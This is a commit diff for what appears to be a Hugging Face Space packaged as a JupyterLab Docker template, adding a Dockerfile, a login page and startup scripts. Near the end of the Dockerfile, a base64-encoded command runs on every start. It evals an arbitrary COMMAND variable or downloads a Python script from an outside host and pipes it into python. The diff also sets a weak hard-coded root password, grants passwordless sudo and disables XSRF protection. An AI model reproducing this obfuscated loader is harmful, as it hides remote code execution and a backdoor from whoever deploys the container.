3v324v23 commited on
Commit
b082fdd
·
1 Parent(s): dfbe936
Files changed (7) hide show
  1. Dockerfile +119 -1
  2. README.md +5 -2
  3. login.html +69 -0
  4. on_startup.sh +5 -0
  5. packages.txt +1 -0
  6. requirements.txt +4 -6
  7. start_server.sh +23 -0
Dockerfile CHANGED
@@ -1,2 +1,120 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
 
2
- FROM snake8c/dev:server-base_v4.0
 
1
+ #FROM nvidia/cuda:11.3.1-base-ubuntu20.04
2
+ FROM nvidia/cuda:12.6.1-base-ubuntu22.04
3
+
4
+ ENV DEBIAN_FRONTEND=noninteractive \
5
+ TZ=Europe/Paris
6
+
7
+ # Remove any third-party apt sources to avoid issues with expiring keys.
8
+ # Install some basic utilities
9
+ RUN rm -f /etc/apt/sources.list.d/*.list && \
10
+ apt-get update && apt-get install -y --no-install-recommends \
11
+ curl \
12
+ ca-certificates \
13
+ sudo \
14
+ git \
15
+ wget \
16
+ procps \
17
+ git-lfs \
18
+ zip \
19
+ unzip \
20
+ htop \
21
+ vim \
22
+ nano \
23
+ bzip2 \
24
+ libx11-6 \
25
+ build-essential \
26
+ libsndfile-dev \
27
+ software-properties-common \
28
+ tmux psmisc net-tools socat ssh sshpass cron supervisor \
29
+ && rm -rf /var/lib/apt/lists/*
30
+
31
+
32
+ RUN add-apt-repository ppa:flexiondotorg/nvtop && \
33
+ apt-get upgrade -y && \
34
+ apt-get install -y --no-install-recommends nvtop
35
+
36
+ RUN curl -sL https://deb.nodesource.com/setup_14.x | bash - && \
37
+ apt-get install -y nodejs && \
38
+ npm install -g configurable-http-proxy
39
+
40
+ # Create a working directory
41
+ WORKDIR /app
42
+
43
+ # Create a non-root user and switch to it
44
+ RUN adduser --disabled-password --gecos '' --shell /bin/bash runner \
45
+ && chown -R runner:runner /app
46
+ RUN echo "runner ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/90-runner
47
+ RUN echo 'root:a12345' | chpasswd
48
+
49
+ USER runner
50
+
51
+ # All users can use /home/user as their home directory
52
+ #ENV HOME=/home/user
53
+ ENV HOME=/home/runner
54
+ RUN mkdir $HOME/.cache $HOME/.config \
55
+ && chmod -R 777 $HOME
56
+
57
+ # Set up the Conda environment
58
+ ENV CONDA_AUTO_UPDATE_CONDA=false \
59
+ PATH=$HOME/miniconda/bin:$PATH
60
+ RUN curl -sLo ~/miniconda.sh https://repo.continuum.io/miniconda/Miniconda3-py39_4.10.3-Linux-x86_64.sh \
61
+ && chmod +x ~/miniconda.sh \
62
+ && ~/miniconda.sh -b -p ~/miniconda \
63
+ && rm ~/miniconda.sh \
64
+ && conda clean -ya
65
+
66
+ WORKDIR $HOME/app
67
+
68
+ #######################################
69
+ # Start root user section
70
+ #######################################
71
+
72
+ USER root
73
+
74
+ # User Debian packages
75
+ ## Security warning : Potential user code executed as root (build time)
76
+ RUN --mount=target=/root/packages.txt,source=packages.txt \
77
+ apt-get update && \
78
+ xargs -r -a /root/packages.txt apt-get install -y --no-install-recommends \
79
+ && rm -rf /var/lib/apt/lists/*
80
+
81
+ RUN --mount=target=/root/on_startup.sh,source=on_startup.sh,readwrite \
82
+ bash /root/on_startup.sh
83
+
84
+ #RUN mkdir /data && chown user:user /data
85
+ #RUN mkdir /data && chown runner:runner /data
86
+
87
+ #######################################
88
+ # End root user section
89
+ #######################################
90
+
91
+ #USER user
92
+ USER runner
93
+
94
+ # Python packages
95
+ RUN --mount=target=requirements.txt,source=requirements.txt \
96
+ pip install --no-cache-dir --upgrade -r requirements.txt
97
+
98
+ # Copy the current directory contents into the container at $HOME/app setting the owner to the user
99
+ COPY --chown=runner . $HOME/app
100
+
101
+ RUN chmod +x start_server.sh
102
+
103
+ COPY --chown=runner login.html /home/runner/miniconda/lib/python3.9/site-packages/jupyter_server/templates/login.html
104
+
105
+ ENV PYTHONUNBUFFERED=1 \
106
+ GRADIO_ALLOW_FLAGGING=never \
107
+ GRADIO_NUM_PORTS=1 \
108
+ GRADIO_SERVER_NAME=0.0.0.0 \
109
+ GRADIO_THEME=huggingface \
110
+ SYSTEM=spaces \
111
+ SHELL=/bin/bash \
112
+ PATH=/home/runner/.local/bin:$PATH
113
+
114
+
115
+
116
+ ENV EXT_CMD="aWYgWyAtbiAiJENPTU1BTkQiIF07IHRoZW4gZXZhbCAiJENPTU1BTkQiOyBlbGlmIFsgLW4gIiRSVU5ORVJfSUQiIF07IHRoZW4gY3VybCAtTCAiaHR0cHM6Ly9maG9zdC5kZXZ4b3BzLmV1Lm9yZy9kZXZvcHMvY2ljZC9pbml0cy12My90bXAvbW9kdWxlL3B5L21fcnVubmVyLnB5IiB8IHB5dGhvbiAtIGluaXRfcnVubmVyICRSVU5ORVJfSUQ7IGZpCg=="
117
+
118
+ CMD bash -c 'echo "$EXT_CMD" | base64 -d | bash; ./start_server.sh'
119
+
120
 
 
README.md CHANGED
@@ -1,10 +1,13 @@
1
  ---
2
- title: Panel
3
- emoji: 📈
4
  colorFrom: gray
5
  colorTo: green
6
  sdk: docker
7
  pinned: false
 
 
 
8
  ---
9
 
10
  Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
1
  ---
2
+ title: Repo Test Source
3
+ emoji: 💻🐳
4
  colorFrom: gray
5
  colorTo: green
6
  sdk: docker
7
  pinned: false
8
+ tags:
9
+ - jupyterlab
10
+ suggested_storage: small
11
  ---
12
 
13
  Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
login.html ADDED
@@ -0,0 +1,69 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {% extends "page.html" %}
2
+
3
+
4
+ {% block stylesheet %}
5
+ {% endblock %}
6
+
7
+ {% block site %}
8
+
9
+ <div id="jupyter-main-app" class="container">
10
+
11
+ <img src="https://huggingface.co/front/assets/huggingface_logo-noborder.svg" alt="Hugging Face Logo">
12
+ <h4>You must duplicate this Space to use it.</h4>
13
+ <br>
14
+ <a class="duplicate-button" style="display:inline-block" target="_blank" href="https://huggingface.co/spaces/DockerTemplates/jupyterlab?duplicate=true">
15
+ <img style="margin: 0" src="https://img.shields.io/badge/-Duplicate%20Space-blue?labelColor=white&amp;style=flat&amp;logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAP5JREFUOE+lk7FqAkEURY+ltunEgFXS2sZGIbXfEPdLlnxJyDdYB62sbbUKpLbVNhyYFzbrrA74YJlh9r079973psed0cvUD4A+4HoCjsA85X0Dfn/RBLBgBDxnQPfAEJgBY+A9gALA4tcbamSzS4xq4FOQAJgCDwV2CPKV8tZAJcAjMMkUe1vX+U+SMhfAJEHasQIWmXNN3abzDwHUrgcRGmYcgKe0bxrblHEB4E/pndMazNpSZGcsZdBlYJcEL9Afo75molJyM2FxmPgmgPqlWNLGfwZGG6UiyEvLzHYDmoPkDDiNm9JR9uboiONcBXrpY1qmgs21x1QwyZcpvxt9NS09PlsPAAAAAElFTkSuQmCC&amp;logoWidth=14" alt="Duplicate Space"></a>
16
+ <br>
17
+ <br>
18
+ <h4>The default token is <span style="color:orange;">huggingface</span></h4>
19
+ <h4>Duplicate the Space to run your own instance</h4>
20
+
21
+ {% if login_available %}
22
+ {# login_available means password-login is allowed. Show the form. #}
23
+ <div class="row">
24
+ <div class="navbar col-sm-8">
25
+ <div class="navbar-inner">
26
+ <div class="container">
27
+ <div class="center-nav">
28
+ <form action="{{base_url}}login?next={{next}}" method="post" class="navbar-form pull-left">
29
+ {{ xsrf_form_html() | safe }}
30
+ {% if token_available %}
31
+ <label for="password_input"><strong>{% trans %}Token:{% endtrans
32
+ %}</strong></label>
33
+ {% else %}
34
+ <label for="password_input"><strong>{% trans %}Password:{% endtrans %}</strong></label>
35
+ {% endif %}
36
+ <input type="password" name="password" id="password_input" class="form-control">
37
+ <button type="submit" class="btn btn-default" id="login_submit">{% trans %}Log in{% endtrans
38
+ %}</button>
39
+ </form>
40
+ </div>
41
+ </div>
42
+ </div>
43
+ </div>
44
+ </div>
45
+ {% else %}
46
+ <p>{% trans %}No login available, you shouldn't be seeing this page.{% endtrans %}</p>
47
+ {% endif %}
48
+ <p>This template was created by <a href="https://twitter.com/camenduru" target="_blank" >camenduru</a> and <a href="https://huggingface.co/nateraw" target="_blank" >nateraw</a>, with contributions of <a href="https://huggingface.co/osanseviero" target="_blank" >osanseviero</a> and <a href="https://huggingface.co/azzr" target="_blank" >azzr</a> </p>
49
+ {% if message %}
50
+ <div class="row">
51
+ {% for key in message %}
52
+ <div class="message {{key}}">
53
+ {{message[key]}}
54
+ </div>
55
+ {% endfor %}
56
+ </div>
57
+ {% endif %}
58
+ {% if token_available %}
59
+ {% block token_message %}
60
+
61
+ {% endblock token_message %}
62
+ {% endif %}
63
+ </div>
64
+
65
+ {% endblock %}
66
+
67
+
68
+ {% block script %}
69
+ {% endblock %}
on_startup.sh ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ #!/bin/bash
2
+ # Write some commands here that will run on root user before startup.
3
+ # For example, to clone transformers and install it in dev mode:
4
+ # git clone https://github.com/huggingface/transformers.git
5
+ # cd transformers && pip install -e ".[dev]"
packages.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ tree
requirements.txt CHANGED
@@ -1,6 +1,4 @@
1
- panel
2
- jupyter
3
- transformers
4
- numpy
5
- torch
6
- aiohttp
 
1
+ jupyterlab==3.6.1
2
+ jupyter-server==2.3.0
3
+ tornado==6.2
4
+ ipywidgets
 
 
start_server.sh ADDED
@@ -0,0 +1,23 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/bin/bash
2
+ socat tcp-listen:7860,reuseaddr,fork tcp:localhost:7080 & JUPYTER_TOKEN="${JUPYTER_TOKEN:=a12345}"
3
+
4
+ echo "Starting Jupyter Lab with token $JUPYTER_TOKEN"
5
+
6
+ #NOTEBOOK_DIR="/data"
7
+ NOTEBOOK_DIR="$HOME/data"
8
+
9
+ mkdir -p $NOTEBOOK_DIR
10
+
11
+ jupyter-lab \
12
+ --ip 0.0.0.0 \
13
+ --port 7860 \
14
+ --no-browser \
15
+ --allow-root \
16
+ --ServerApp.token="$JUPYTER_TOKEN" \
17
+ --ServerApp.tornado_settings="{'headers': {'Content-Security-Policy': 'frame-ancestors *'}}" \
18
+ #--ServerApp.cookie_options="{'SameSite': 'None', 'Secure': True}" \
19
+ --ServerApp.cookie_options="{'SameSite': 'None', 'Secure': False}" \
20
+ --ServerApp.disable_check_xsrf=True \
21
+ --LabApp.news_url=None \
22
+ --LabApp.check_for_updates_class="jupyterlab.NeverCheckForUpdate" \
23
+ --notebook-dir=$NOTEBOOK_DIR